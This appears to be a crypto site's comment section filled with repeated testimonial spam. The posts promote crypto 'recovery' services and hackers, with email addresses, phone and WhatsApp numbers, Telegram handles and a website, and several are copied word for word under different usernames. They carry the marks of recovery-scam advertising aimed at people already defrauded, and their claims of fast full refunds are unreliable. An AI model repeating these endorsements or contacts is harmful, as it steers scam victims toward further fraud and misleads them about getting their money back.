    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon